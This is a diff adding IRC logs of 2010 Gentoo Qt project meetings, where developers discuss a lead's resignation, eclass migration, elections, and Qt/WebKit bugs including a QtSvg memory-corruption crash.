+[21:42:23] <yngwin> to reconsider my options before i make the big break
+[21:42:32] <spatz> big break?
+[21:42:42] <yngwin> i will be resigning from gentoo
+[21:42:53] <spatz> huh? when?
+[21:42:56] <pesa> :O
+[21:43:03] <hwoarang> yngwin: i am only interesting in lead this project just in case you end up inactive because of all the China thing or your retirement
+[21:43:03] <ayoy> ...
+[21:43:09] <yngwin> within the next few days
+[21:43:21] <spatz> you've already made up your mind?
+[21:43:34] <hwoarang> i really really hope this is a bad joke though
+[21:43:35] <reavertm> is gentoo forbidden in China? hmm
+[21:43:46] <hwoarang> reavertm: busy RL
+[21:43:50] <yngwin> i basically decided that early this week, i just thought to take some days to think things over
+[21:43:52] <nirbheek> reavertm, why would it be?
+[21:44:01] <nirbheek> reavertm, our best soc application is from a chinese undergrad
+[21:44:22] <spatz> yngwin: you've got to be kidding me. please reconsider
+[21:44:32] <ayoy> tough shit
+[21:44:51] <ayoy> but, life has to go on, I understand
+[21:44:56] <yngwin> spatz: so far i have seen no signs of change
+[21:45:33] <yngwin> anyway, i'm still around, so we can discuss it after the meeting
+[21:45:45] <nirbheek> yngwin, the what
+[21:45:51] * nirbheek just glanced at the backlog
+[21:45:56] <yngwin> but as things stand now, you will need a new project lead
+[21:46:10] <nirbheek> yngwin, I have a bit of friendly advice
+[21:46:10] <yngwin> nirbheek: ?
+[21:46:34] <spatz> ok, we'll discuss that later. you won't run for lead anyway?
+[21:46:42] <nirbheek> yngwin, take a break for a few weeks
+[21:46:57] <yngwin> spatz: at this moment i am not a candidate
+[21:47:00] <nirbheek> yngwin, or more, if you haven't already
+[21:47:39] <yngwin> nirbheek: we can discuss this later, we need to move on with this meeting 
+[21:47:53] <nirbheek> yngwin, oh, sorry, I thought the meeting was over :)
+[21:47:54] <spatz> so we need candidates. anyone stepping up?
+[21:48:06] <hwoarang> I am 
+[21:48:14] <spatz> great
+[21:48:16] <ayoy> :)
+[21:48:26] * hwoarang will stay around after the meeting to make yngwin stay
+[21:48:34] <yngwin> hehe
+[21:48:40] <spatz> so let's move on to the next subject
+[21:48:44] <hwoarang> ok
+[21:49:08] <yngwin> i would suggest to leave some time for others to step up if they want, as some people are not here
+[21:49:17] <hwoarang> ofc 
+[21:49:18] <spatz> they have all month :)
+[21:49:23] <yngwin> ok
+[21:49:33] <hwoarang> 4 Bugs
+[21:49:33] <yngwin> shall we move to the next topic then?
+[21:49:46] <yngwin> bug 311481
+[21:49:48] <hwoarang> Forget about the first bullet as we discussed it earlier
+[21:49:50] <willikins> https://bugs.gentoo.org/311481 "[tracker] Migrate ebuilds from qt4.eclass to qt4-r2.eclass usage"; Gentoo Linux, Ebuilds; NEW; yngwin@g.o:qt@g.o
+[21:49:53] <yngwin> ok
+[21:49:59] <yngwin> bug 312689
+[21:50:03] <willikins> yngwin: https://bugs.gentoo.org/312689 "x11-libs/qt-core-4.6.2-r1 forces additional CFLAGS and CXXFLAGS for dev-python/PyQt4-4.7.2"; Gentoo Linux, Development; NEW; Martin.vGagern@gmx.net:qt@g.o
+[21:50:19] <hwoarang> pesa: ^
+[21:50:36] <yngwin> isnt this a PyQt4 problem?
+[21:50:56] <pesa> it should be solved by ayoy's work on mkspecs i think
+[21:51:15] <ayoy> oh
+[21:51:29] <ayoy> pesa: could you please test with qting-edge branch?
+[21:51:37] <ayoy> if you use qt-4.6.2
+[21:51:45] <pesa> i do
+[21:51:46] <hwoarang> did somebody test the new eclass? I am waiting ayoy to port the changes on -edge eclass
+[21:51:50] <ayoy> anyway, I'm in progress of porting my changes ti qt4-build-edge
+[21:51:53] <hwoarang> ok
+[21:52:06] <ayoy> yeah, I was about to do that yesterday but failed due to lack of time :/
+[21:52:15] <yngwin> so this is being worked on
+[21:52:16] <hwoarang> no worries
+[21:52:29] <pesa> anyway i think there's a real bug in sip-generated Makefiles
+[21:53:03] <pesa> because user-specified flags should override mkspecs ones
+[21:53:21] <yngwin> indeed
+[21:53:24] <hwoarang> should we contact phil?
+[21:53:24] <pesa> currently it's the opposite
+[21:53:36] <pesa> yes
+[21:53:40] <hwoarang> via direct email or through the ML
+[21:53:58] <yngwin> the ml should be fine
+[21:54:00] <hwoarang> any volunteers?
+[21:54:03] <pesa> i'd like to have his opinion
+[21:54:22] <pesa> i can do that
+[21:54:28] <hwoarang> good 
+[21:54:30] <hwoarang> thankx :)
+[21:54:39] <pesa> np
+[21:54:51] <hwoarang> we do have some security bugs
+[21:55:36] <yngwin> we do?
+[21:55:55] <hwoarang> yes
+[21:55:59] <hwoarang> webkit and arora
+[21:56:01] <spatz> yngwin fixed the webkit one
+[21:56:16] <yngwin> from what i understand that is a false one
+[21:56:25] <yngwin> the arora one
+[21:56:35] <hwoarang> so do i
+[21:56:47] <yngwin> and webkit should be fixed now
+[21:57:00] <hwoarang> we need to call arches to stabilize qt-webkit
+[21:57:40] <yngwin> yes, and remove the old ebuild revisions
+[21:58:22] <yngwin> so who wants to take care of that?
+[21:58:28] <hwoarang> yngwin: can you do it since you took care of it from the very beginning?
+[21:59:10] <yngwin> ah yes, i got sidetracked
+[21:59:35] <yngwin> i will file the bug
+[21:59:39] <hwoarang> thx
+[21:59:54] <hwoarang> bug 304115
+[21:59:57] <hwoarang> pesa: ^
+[21:59:57] <willikins> hwoarang: https://bugs.gentoo.org/304115 "=dev-python/PyQt4-4.7 with USE="-X" tries to link with -lXext"; Gentoo Linux, Applications; NEW; orzel@freehackers.org:qt@g.o
+[22:00:02] <pesa> yes?
+[22:00:06] <hwoarang> do we need to patch sip or just wait for next release
+[22:00:08] <pesa> it's fixed upstream
+[22:00:22] <pesa> i dont think it's that urgent
+[22:00:33] <hwoarang> ok fine
+[22:00:37] <pesa> what do you think?
+[22:00:54] <hwoarang> yeah me neitehr
+[22:00:57] <pesa> we only had one report in many months
+[22:01:22] <hwoarang> One last thing. Should we get rid of 4.6.1 ( and maybe 4.5.3 ) ?
+[22:01:32] <spatz> kde meeting in 3 mins, we need to wrap up
+[22:01:33] <pesa> what about bug #307861 ?
+[22:01:37] <willikins> pesa: https://bugs.gentoo.org/307861 "x11-libs/qt-webkit-4.6.2: ld crashes at linking libQtWebKit.so.4.6.2"; Gentoo Linux, Library; NEW; urcindalo@gmail.com:qt@g.o
+[22:02:13] <yngwin> hwoarang: there is still a regression in 4.6.2, so you want to keep 4.6.1, at least till 4.6.3 is released
+[22:02:24] <hwoarang> ok
+[22:02:34] <hwoarang> pesa: i have no idea wrt that bug
+[22:02:43] <yngwin> altho, i didnt patch webkit for 4.6.1
+[22:02:54] <yngwin> so it would need to be masked
+[22:03:33] <hwoarang> the whole 4.6.1 set?
+[22:03:54] <yngwin> all or nothing
+[22:04:04] <yngwin> pesa: see comment #4 there
+[22:04:57] <pesa> yeah, it seems related to -ggdb
+[22:05:02] <yngwin> i'll leave it up to you if you want to do more about that issue
+[22:05:13] <hwoarang> fine
+[22:05:28] <pesa> question is: should we take some action or just ignore the problem?
+[22:05:40] <hwoarang> what can we do
+[22:05:56] <pesa> investigate if there's a memleak in ld
+[22:06:12] <pesa> or just add a warning if -ggdb is in CXXFLAGS
+[22:06:29] <ayoy> hwoarang: btw, I pushed changes to qt4-build-edge.eclass
+[22:06:36] <ayoy> please test if you can
+[22:06:40] <yngwin> you could ask someone from toolchain to take a look?
+[22:06:47] <pesa> or close as worksforme/invalid/whatever
+[22:07:08] <yngwin> i dont think its invalid
+[22:07:12] <pesa> yngwin: yes, that would be an option
+[22:07:19] <hwoarang> yngwin: thx
+[22:07:22] <hwoarang> sorry 
+[22:07:24] <hwoarang> ayoy: thx
+[22:07:24] <hwoarang> :P
+[22:07:27] <ayoy> :)
+[22:07:29] <yngwin> ok
+[22:07:32] <pesa> is toolchain responsive enough?
+[22:07:33] <yngwin> we need to wrap up
+[22:07:38] <Wizzleby> FWIW, qt-webkit4.6.2 compiles fine for me with -ggdb
+[22:07:40] <hwoarang> pesa: yes
+[22:07:48] <pesa> nice
+[22:07:54] <yngwin> anything else that cant wait?
+[22:07:58] <hwoarang> nope
+[22:08:13] <yngwin> ok, thank you all 
+[22:08:18] <pesa> thanks
+[22:08:18] <yngwin> ===========================================
diff --git a/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100520.txt b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100520.txt
new file mode 100644
index 00000000..202b14cc
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100520.txt
@@ -0,0 +1,435 @@
+[21:09:16] <hwoarang> *** Meeting ***
+[21:09:34] <spatz> amen
+[21:09:36] <wired> *** End ***
+[21:09:39] <wired> lmao :D
+[21:09:51] <hwoarang> who is logging?
+[21:09:55] <wired> me
+[21:10:01] <hwoarang> ok
+[21:10:07] <hwoarang> Agenda: http://gitorious.org/gentoo-qt/pages/Meeting20100520
+[21:10:31] <hwoarang> 1. Welcome new members
+[21:10:36] <hwoarang> chiiph is our newest member
+[21:10:39] <ayoy> welcome chiiph !
+[21:10:40] <ayoy> :)
+[21:10:43] <spatz> hello there
+[21:10:46] <chiiph> hello everyone :)
+[21:10:48] <wired> w00t w00t
+[21:10:52] <wired> chiiph o/
+[21:10:58] <chiiph> !herd qt
+[21:11:01] <willikins> chiiph: (qt) abcd, ayoy, hwoarang, spatz, ssuominen, tampakrap, wired, yngwin
+[21:11:03] <pesa> hi chiiph :)
+[21:11:06] <tampakrap> give it some time
+[21:11:07] <hwoarang> he has already access on qting-edge
+[21:11:48] <chiiph> not that I've done too much there... :)
+[21:11:49] <hwoarang> chiiph: not much to say here. We run meeting every 3rd Thursday of the month
+[21:11:58] <hwoarang> chiiph: feel free to work as you wish on qting-edge
+[21:12:01] <chiiph> hwoarang: ok...
+[21:12:05] <pesa> on which areas will you focus?
+[21:12:08] <hwoarang> changes on eclasses should be emails to qt@gentoo.org
+[21:12:12] <hwoarang> *emailed
+[21:12:22] <wired> chiiph: we are all major slackers with tampakrap as slack lead :D
+[21:12:34] * hwoarang hugs tampakrap
+[21:12:35] <tampakrap> in every team
+[21:12:39] <wired> ofcourse
+[21:12:47] <wired> only second to his mentor, patrick :P
+[21:12:51] <chiiph> pesa: I don't have anything specific in mind really... qt is the lib I use the most, so may be... MAY BE... I can help here :)
+[21:13:21] <chiiph> wired: I'll try to slack my best
+[21:13:22] <hwoarang> we could use more ppl there yes
+[21:13:24] <bonsaikitten> wired: not my minion :)
+[21:13:24] <pesa> chiiph: that's great
+[21:13:34] <wired> bonsaikitten: he's your slack-nion :p
+[21:13:42] <ayoy> lol
+[21:13:45] <bonsaikitten> wired: that's nirbheek
+[21:14:18] <wired> heheh
+[21:14:18] <hwoarang> the gentoo slacking list is endless
+[21:14:29] <spatz> well, let's get on with this :)
+[21:14:38] <hwoarang> moving on to 2. ?
+[21:14:41] <wired> lets go to 2.
+[21:14:49] <hwoarang> 2, MIgrate ebuilds to qt4-r2 eclass
+[21:14:50] <wired> http://dev.gentoo.org/~wired/checks/qt4.eclass.html
+[21:14:52] <hwoarang> http://bugs.gentoo.org/show_bug.cgi?id=311481
+[21:14:58] <wired> we're not getting anywhere :P
+[21:15:09] <hwoarang> mail sent to -dev by me
+[21:15:16] <hwoarang> not much activity from the rest of the devs
+[21:15:30] <hwoarang> maybe we should reconsider our policy
+[21:15:54] <wired> we could add/request a repoman check
+[21:16:07] <wired> a warning there might help
+[21:16:43] <hwoarang> have you seen the deprecation warning on python eclass
+[21:16:56] <wired> that too
+[21:16:59] <hwoarang> a red one warning about deprecation in 1-7.2010?
+[21:17:02] <wired> good thinking
+[21:17:03] <hwoarang> looks good to me
+[21:17:17] <hwoarang> force users to file bugs
+[21:17:21] <wired> i'll do it
+[21:17:26] * hwoarang noted
+[21:17:28] <hwoarang> thanks Alex
+[21:17:42] <hwoarang> any other ideas?
+[21:17:52] <chiiph> using deprecated eclasses is a global issue... may it's better to think of a repoman check, like wired said... and everyone can benefit
+[21:17:52] <tampakrap> ask the python team?
+[21:18:01] <tampakrap> file mass bugs with a tinderbox?
+[21:18:14] <hwoarang> tampakrap: ask python team for what?
+[21:18:19] <wired> chiiph: we can do both
+[21:18:20] <tampakrap> how they did it?
+[21:18:31] <hwoarang> i bet its hidden somewhere in the eclass
+[21:18:35] <wired> chiiph: perhaps if we do it others will follow
+[21:18:48] <chiiph> wired: yes, but it's twice the work...
+[21:18:49] <wired> hwoarang: we could stuff it in pkg_setup 
+[21:19:08] <wired> or anywhere else for that matter
+[21:19:11] <hwoarang> pkg_setup on qt4.eclass?
+[21:19:17] <hwoarang> yes sure
+[21:19:19] <wired> yes
+[21:19:23] <chiiph> the python deprecation warning isn't really nice... have you seen the code?
+[21:19:34] *** Joins: pesa__ (~Pesa@host196-186-dynamic.16-79-r.retail.telecomitalia.it)
+[21:19:39] <wired> chiiph: thats a different case
+[21:19:43] <hwoarang> yes
+[21:19:53] <hwoarang> we only need a clear warning message
+[21:19:57] <pesa__> sorry guys, i have my usual connection troubles :(
+[21:19:58] <wired> we just want to stop using an eclass, they had to check for functions being called, or variables being set
+[21:20:05] <hwoarang> hi pesa__ :)
+[21:20:10] <wired> pesa__: :)
+[21:20:23] <hwoarang> we need to poke users act on it instead of the maintainers
+[21:20:26] <hwoarang> because maintainers are slow
+[21:20:28] *** Quits: pesa (~Pesa@host51-153-dynamic.50-82-r.retail.telecomitalia.it) (Disconnected by services)
+[21:20:32] *** pesa__ is now known as pesa
+[21:20:33] <hwoarang> and I am pretty sure they have forgot about it
+[21:20:45] *** Quits: yngwin (~yngwin@gentoo/developer/yngwin) (Read error: Operation timed out)
+[21:21:07] <chiiph> ok, then I guess a simple message in pkg_setup will do, but it'll be great to have... I don't know... like a DEPRECATE="date" var to set this...
+[21:21:13] *** Joins: yngwin (~yngwin@cable-186-3.zeelandnet.nl)
+[21:21:14] *** Quits: yngwin (~yngwin@cable-186-3.zeelandnet.nl) (Changing host)
+[21:21:14] *** Joins: yngwin (~yngwin@gentoo/developer/yngwin)
+[21:21:41] <hwoarang> we could hardcode the date
+[21:21:47] <wired> I'll check out if its easy to add the check in repoman (no idea) and will send the eclass message to qt@ for you people to see before I commit
+[21:21:59] * hwoarang wonders what will happen when that deadline passes
+[21:22:21] <wired> hwoarang: repoman error on commit
+[21:22:24] <wired> ;)
+[21:22:31] <hwoarang> well
+[21:22:32] *** Quits: [Enrico] (~chiccoroc@gentoo/contributor/Enrico) (Remote host closed the connection)
+[21:22:33] <hwoarang> what about the ebuilds?
+[21:22:39] <hwoarang> will they die on pkg_setup? 
+[21:22:45] <wired> hell no
+[21:22:54] <hwoarang> so nothing will happen
+[21:22:55] <wired> we just won't allow any new qt4.eclass commits
+[21:23:00] <hwoarang> ppl can still use this eclass
+[21:23:04] <hwoarang> ok
+[21:23:05] <hwoarang> fine
+[21:23:05] <hwoarang> :)
+[21:23:16] <chiiph> after the deadline the eclass will be gone...
+[21:23:21] <hwoarang> NO!
+[21:23:21] <chiiph> or at least that should be the idea
+[21:23:27] <wired> chiiph: no, that would break things
+[21:23:38] <hwoarang> eclass shall stay to preserve stability
+[21:23:47] <chiiph> wired: I know... but tell that that isn't the best way to make people migrate? :)
+[21:24:04] <hwoarang> repoman should be enough
+[21:24:15] <hwoarang> provided that developers use repoman for their commits
+[21:24:17] <wired> chiiph: i don't want to break the tree, + we can't remove the eclass for two years (policy)
+[21:24:17] <hwoarang> :p
+[21:24:18] <tampakrap> there is an official rule now about eclass removal
+[21:24:24] <tampakrap> 2 years of inactivity iirc
+[21:24:30] <tampakrap> i'll ask a council member
+[21:24:44] <hwoarang> so
+[21:24:44] <chiiph> wired: I don't know why I thought it was 10 years...
+[21:24:49] <hwoarang> :D
+[21:24:53] <wired> chiiph: it used to be "never"
+[21:24:56] <wired> then it went to 2 years
+[21:25:05] <wired> lets sum it ip
+[21:25:07] <tampakrap> it was never because of technical issues
+[21:25:15] <chiiph> 10 is pretty close to never in gentoo's life...
+[21:25:24] <tampakrap> now that info is in var/db old ebulids don't need em any more
+[21:25:30] <wired> i'll take care of this, i'll ask around (already asked in -dev :p) about repoman and prepare a warning for the eclass
+[21:25:54] <hwoarang> wired: afaik idl0r is maintaining repoman but you could also ask on -portage
+[21:26:01] <hwoarang> but again thats fine
+[21:26:21] <wired> great lets move on
+[21:26:40] <ssuominen> I got my asneeded repoman warning in by simply writing a patch, opening a bug to dev-portage@ and it was committed by Zac in only day or two
+[21:26:41] <hwoarang> 3. Elections ?
+[21:26:52] <wired> ssuominen: lovely, thanks for the info
+[21:27:36] <wired> 3. hwoarang is is the only nominee, if anyone wants to nominate anyone (sic), now's their chance
+[21:27:55] <hwoarang> we really need yngwin for this
+[21:28:03] <tampakrap> let's skip this for the end
+[21:28:08] <hwoarang> as we still dont know what are his future plans
+[21:28:18] <wired> yeah, what tampakrap said
+[21:28:31] <wired> lets go for the bugs
+[21:28:36] <hwoarang> ok
+[21:29:00] <hwoarang> bug 312689
+[21:29:04] <willikins> hwoarang: https://bugs.gentoo.org/312689 "x11-libs/qt-core-4.6.2-r1 forces additional CFLAGS and CXXFLAGS for dev-python/PyQt4-4.7.2"; Gentoo Linux, Development; NEW; Martin.vGagern@gmx.net:qt@g.o
+[21:29:14] <hwoarang> we have ayoys patch on qting-edge
+[21:30:01] <hwoarang> ayoy: do you think we should move it to qt4-build eclass and close this bug?
+[21:30:35] <ayoy> hwoarang: the eclass just works
+[21:30:49] <ayoy> it was only waiting for someone to test cross-compilation
+[21:30:58] <ayoy> as I have only amd64 machines :P
+[21:31:05] <hwoarang> so am I
+[21:31:48] <ayoy> anyway, it should work...
+[21:32:28] <ayoy> I mean, the patch shouldn't break the compilation at all
+[21:32:38] <ayoy> it's only about keeping the correct CFLAGS
+[21:32:44] <wired> what do we need to test?
+[21:32:55] <tampakrap> my proposal: move it to tree to get proper testing
+[21:32:55] <wired> i can test crosscompilation to arm
+[21:33:00] <wired> if you want
+[21:33:05] <ayoy> wired: we need to cross-compile qt from x86 to amd64 e.g.
+[21:33:09] <ayoy> oh awesome
+[21:33:13] <wired> ayoy: i can cross compile amd64->arm
+[21:33:17] <ayoy> great
+[21:33:27] <wired> with distcc :p
+[21:33:32] <ayoy> I'll prepare my qting-edge branch for you
+[21:33:40] <wired> great
+[21:33:40] <hwoarang> move it to tree
+[21:33:46] <ayoy> or you can just copy the new eclass to the tree
+[21:33:53] <ayoy> i.e. on your machine
+[21:33:54] <wired> hwoarang: i'll test it first
+[21:34:04] * hwoarang noted
+[21:34:06] <wired> ayoy: its in a branch in qting-edge?
+[21:34:13] <ayoy> wired: yes
+[21:34:18] <wired> alrighty
+[21:34:21] <wired> in my todo
+[21:34:25] <ayoy> cool
+[21:34:52] <hwoarang> moving on
+[21:35:23] <hwoarang> bug 314193
+[21:35:25] <willikins> hwoarang: https://bugs.gentoo.org/314193 "x11-libs/qt-webkit, net-libs/webkit-gtk: multiple vulnerabilities (CVE-2010-0046, CVE-2010-0049, CVE-2010-0050, CVE-2010-0051, CVE-2010-0052, CVE-2010-0054)"; Gentoo Security, Vulnerabilities; ASSI; hanno@g.o:security@g.o
+[21:35:30] <hwoarang> yngwin took care of it ( bug 315523 )
+[21:35:33] <willikins> hwoarang: https://bugs.gentoo.org/315523 "Speedy stabilization of x11-libs/qt-webkit-4.6.2-r1 and 4.5.3-r3"; Gentoo Linux, Ebuilds; NEW; yngwin@g.o:qt@g.o
+[21:35:46] <hwoarang> major arches are ok but the rest of them are bit slow
+[21:36:36] <hwoarang> i guess there is no much to do here
+[21:36:52] <wired> bug 304115
+[21:36:55] <willikins> wired: https://bugs.gentoo.org/304115 "=dev-python/PyQt4-4.7 with USE="-X" tries to link with -lXext"; Gentoo Linux, Applications; RESO, FIXE; orzel@freehackers.org:qt@g.o
+[21:37:06] <hwoarang> pesa: ^
+[21:37:09] <wired> thats fixed?!
+[21:37:35] <hwoarang> should be
+[21:37:56] <wired> and we are discussing it because...?
+[21:38:35] <tampakrap> kids
+[21:38:43] <tampakrap> bug 307861
+[21:38:44] <wired> meh
+[21:38:47] <willikins> tampakrap: https://bugs.gentoo.org/307861 "x11-libs/qt-webkit-4.6.2: ld crashes at linking libQtWebKit.so.4.6.2"; Gentoo Linux, Library; REOP; urcindalo@gmail.com:qt@g.o
+[21:38:48] <hwoarang> :)
+[21:40:05] * hwoarang doesnt have a clue
+[21:40:15] <wired> never had that problem
+[21:40:31] <hwoarang> with -ggdb?
+[21:41:31] <wired> ah i thought there was a user having the issue with -ggdb, seems he was wrong
+[21:42:14] <wired> this doesn't seem to be our fault (until proven otherwise, ofcourse).
+[21:42:21] <wired> how about filtering -ggdb
+[21:42:50] <hwoarang> or redirect this bug to toolchain team
+[21:43:03] <wired> that + big ewarn
+[21:43:27] <hwoarang> on qt-webkit module?
+[21:43:33] <wired> "if you can't build this, you probably have -ggdb in your \${CFLAGS}. Please remove it and try again."
+[21:43:45] <wired> "more info @ bug BLAH"
+[21:44:03] <hwoarang> ok but you should check if -ggdb is there and then print the message
+[21:44:10] <wired> sure
+[21:44:19] <wired> so yet another thing for me
+[21:44:20] <hwoarang> ok
+[21:44:24] <hwoarang> good boy
+[21:44:30] <wired> long list this month
+[21:44:31] <wired> =]
+[21:44:36] <hwoarang> last one
+[21:44:37] <hwoarang> bug 301476
+[21:44:40] <willikins> hwoarang: https://bugs.gentoo.org/301476 "QSvgWidget produce segfaults : x11-libs/qt-svg"; Gentoo Linux, Library; NEW; antonmx@gmail.com:qt@g.o
+[21:44:46] <hwoarang> this is interesting
+[21:44:56] <wired> hwoarang: you'll contact toolchain?
+[21:44:58] <hwoarang> pesa: dont hide
+[21:45:04] <hwoarang> wired: i will CC them
+[21:45:08] <wired> k
+[21:45:21] <ssuominen> check profiles/arch/amd64/profile.bashrc
+[21:45:34] <ssuominen> perhaps something like that in the eclass used for x11-libs/qt-*
+[21:45:48] <ssuominen> where BAD_FLAGS is -g -ggdb -g2 -ggdb2 -g3 -ggdb3
+[21:45:52] <ssuominen> and then warn
+[21:45:57] <ssuominen> just idea :p
+[21:46:36] <hwoarang> -ggdb doesnt cause any problems to the rest of the modules
+[21:46:37] *** Quits: pesa (~Pesa@host196-186-dynamic.16-79-r.retail.telecomitalia.it) (Ping timeout: 240 seconds)
+[21:46:49] <hwoarang> so i guess we should not filtered it out from the rest of the modules
+[21:46:59] *** Joins: pesa (~Pesa@host213-117-dynamic.50-82-r.retail.telecomitalia.it)
+[21:47:07] <hwoarang> qt-webkit is just HUGE hense the debug symbols cause huge memory usage
+[21:47:15] <pesa> wtf...sorry again
+[21:47:33] <hwoarang> pesa: we are on the svg bug :)
+[21:47:42] <pesa> hwoarang: bug 304115  is fixed btw
+[21:47:44] <willikins> pesa: https://bugs.gentoo.org/304115 "=dev-python/PyQt4-4.7 with USE="-X" tries to link with -lXext"; Gentoo Linux, Applications; RESO, FIXE; orzel@freehackers.org:qt@g.o
+[21:47:54] <hwoarang> ok i just havent checked :)
+[21:48:09] <pesa> ;)
+[21:48:43] <pesa> about the svg bug, it seems it's caused by our splitting
+[21:49:29] <pesa> or some compile flags added by qt4-build.eclass
+[21:50:04] * wired checks
+[21:51:46] <hwoarang> in cause you wanna check just use the test example and compile it like this
+[21:52:19] <wired> interesting
+[21:52:43] <hwoarang> g++ -I/usr/include/qt4 -I/usr/include/qt4/QtGui -I/usr/include/qt4/QtCore -L/usr/lib64/qt4/ -lQtGui -lQtCore -lQtSvg test.cpp
+[21:52:50] <wired> i wonder what we're missing
+[21:52:56] <hwoarang> not specific CFLAGS yet still fails
+[21:53:24] <pesa> i really have no idea
+[21:53:48] <wired> wait
+[21:53:48] <wired> wait
+[21:53:58] <wired> this is funny
+[21:54:05] <wired> one time i run it it segfaults
+[21:54:09] <wired> one time it works o_O
+[21:54:27] <pesa> you've been lucky i guess
+[21:54:36] <wired> pesa: working == exiting cleanly ?
+[21:54:46] <wired> or opening window?
+[21:55:05] <pesa> i have to look at the code
+[21:55:23] <wired> https://bugs.gentoo.org/attachment.cgi?id=230997&action=view
+[21:55:23] <ayoy> no window
+[21:55:41] <ayoy> just to exit cleanly
+[21:55:42] *** Joins: [Enrico] (~chiccoroc@gentoo/contributor/Enrico)
+[21:55:42] <pesa> it should just exit cleanly
+[21:55:45] <wired> ok
+[21:55:52] <wired> then its super weird
+[21:56:02] <pesa> there's no app.exec()
+[21:56:04] <wired> its like working 50-50
+[21:56:15] <wired> it'll work 3-4 times then segfault another 3-4
+[21:56:18] <wired> lol
+[21:56:28] <ayoy> wired: do you have a backtrace available?
+[21:56:40] <ayoy> I'd test it right now but I'm on a mac
+[21:56:43] * ayoy hides...
+[21:57:10] <ayoy> or I'll test it tomorrow or so
+[21:57:24] <pesa> it always fails here
+[21:57:39] <wired> *** glibc detected *** ./svgtest: malloc(): memory corruption: 0x00000000020633f0 ***
+[21:57:41] <pesa> not segfault, but abort
+[21:57:44] <wired> http://paste.pocoo.org/show/216315/
+[21:57:46] <ayoy> oshi-
+[21:58:00] <ayoy> that's bad :/
+[21:59:01] <hwoarang> the patches are supposed to fix the problem
+[21:59:16] <hwoarang> i just cant understand 100% what they do
+[21:59:43] <pesa> hwoarang: nope
+[21:59:44] <wired> since monolithic builds don't fail at all we need to find what we do wrong/differently
+[21:59:46] <ayoy> it removes QSvgWidgetPrivate class
+[22:00:05] <pesa> hwoarang: a user reported that the patches introduce weird behaviours
+[22:00:15] <pesa> and upstream rejected them
+[22:00:17] <ayoy> so it's not instantiated and it doesn't create QWidgetPrivate, which aborts with a memory corruption
+[22:00:47] <ayoy> instead, the QSvgWidgetPrivate members are stored in QSvgWidget class, which is not exactly how it should be done
+[22:00:58] <pesa> indeed
+[22:01:01] <ayoy> it might work, and in this case it's probably fine
+[22:01:14] <pesa> ayoy: some time ago i looked at the original qt code and it looked fine
+[22:02:18] <ayoy> no idea what can be wrong
+[22:03:30] *** Joins: pesa__ (~Pesa@host158-186-dynamic.16-79-r.retail.telecomitalia.it)
+[22:03:37] *** Quits: pesa (~Pesa@host213-117-dynamic.50-82-r.retail.telecomitalia.it) (Disconnected by services)
+[22:03:47] *** pesa__ is now known as pesa
+[22:04:16] <wired> ayoy: is it possible it could be cflag/ldflag related?
+[22:04:38] <ayoy> well, maybe...
+[22:04:48] <ayoy> I have to ask someone smart
+[22:04:51] <wired> lol
+[22:04:52] <ayoy> maybe tomorrow at work :)
+[22:05:03] <wired> we are all smart here m8 
+[22:05:03] <wired> =]
+[22:05:12] <ayoy> yeah I know :P
+[22:05:35] <wired> hmm i'll try something
+[22:06:19] <ayoy> anyway, the thing is that QSvgWidget constructor creates QWidgetPrivate, which is provided by another library (QtGui vs QtSvg)
+[22:06:44] <pesa> yep
+[22:06:45] <ayoy> so maybe some ldflag issue
+[22:07:04] <pesa> QWidgetPrivate must be private i guess
+[22:07:12] <pesa> could it be that the compiler doesn't know its size?
+[22:07:21] <chiiph> but shouldn't that involve a linking problem at link time?
+[22:07:24] <ayoy> yeah, that;s interesting
+[22:07:40] <pesa> the QSvgWidget is allocated on the stack
+[22:08:11] <pesa> thus the compiler must know at compile time its size
+[22:09:00] <pesa> but i think it should result in a compilation error then
+[22:09:05] <wired> pesa: thats really interesting, but shouldn't it fail? :P
+[22:09:21] <pesa> iirc it should not compile
+[22:09:48] <wired> ok i filtered all cflags/cxxflags/ldflags on qt-svg, no change
+[22:09:49] <ayoy> why?
+[22:09:55] <ayoy> it can compile easily
+[22:10:13] <ayoy> it uses libQtSvg, not qsvgwidget.cpp directly
+[22:10:31] <ayoy> if libQtSvg compiled fine, then it should work
+[22:10:34] <pesa> it needs the header though
+[22:11:02] <ayoy> it uses it when compiling
+[22:11:17] <pesa> ah yes i see what you mean
+[22:11:37] <pesa> if it compiles, it should see the header :)
+[22:11:54] <pesa> s/should see/must have seen/
+[22:12:42] <ayoy> it seems that it just imports the code from libQtGui and compiles it
+[22:12:50] <ayoy> i.e. it compiles its own QWidget class
+[22:13:02] <ayoy> try nm -D /usr/lib/qt4/libQtSvg.so
+[22:13:14] <ayoy> nm -D /usr/lib/qt4/libQtSvg.so | grep QWidget
+[22:13:20] <ayoy> it exports QWidget symbols :)
+[22:13:40] <ayoy> so it seems that it has its own copy of QWidget
+[22:14:14] <pesa> ah
+[22:14:16] <pesa> wtf
+[22:14:25] <pesa> that's usually bad
+[22:14:32] <ayoy> yeah
+[22:14:38] <ayoy> but now I'm checking it on Debian
+[22:14:41] <pesa> there's a symbol collision
+[22:14:43] <ayoy> and the symbols are there
+[22:14:50] <ayoy> so not our fault, Qt just works like this :P
+[22:14:54] <wired> hm i could test
+[22:15:04] <wired> building qt-svg together with qt-gui
+[22:15:14] <pesa> yep, that would be nice
+[22:15:29] <wired> lets see
+[22:17:03] <wired> building
+[22:17:25] <wired> that needs 4-5 minutes
+[22:17:51] <wired> yngwin: lucky ping?
+[22:17:55] <hwoarang> :P
+[22:18:15] <wired> i propose postponing the election till next meeting
+[22:18:40] *** Joins: pesa__ (~Pesa@host5-185-dynamic.7-79-r.retail.telecomitalia.it)
+[22:20:42] *** Quits: pesa (~Pesa@host158-186-dynamic.16-79-r.retail.telecomitalia.it) (Ping timeout: 245 seconds)
+[22:21:01] *** pesa__ is now known as pesa
+[22:21:24] <hwoarang> wired: well
+[22:21:57] <hwoarang> i was thinking about calling a meeting next week just for the elections
+[22:22:04] <hwoarang> we are alread 1month without a leader
+[22:22:14] <hwoarang> what do you guys think
+[22:22:15] <wired> hwoarang: thats fine by me too, as long as we make sure we're all here
+[22:22:26] <ayoy> okay for me
+[22:22:29] <hwoarang> and how are we gonna ensure that
+[22:22:38] <wired> crap
+[22:22:42] <wired> it works
+[22:22:43] <wired> lol
+[22:23:11] <ayoy> :)
+[22:23:17] <wired> pesa: it seems you were right (or really close to the issue)
+[22:23:30] <wired> yep, consistent success
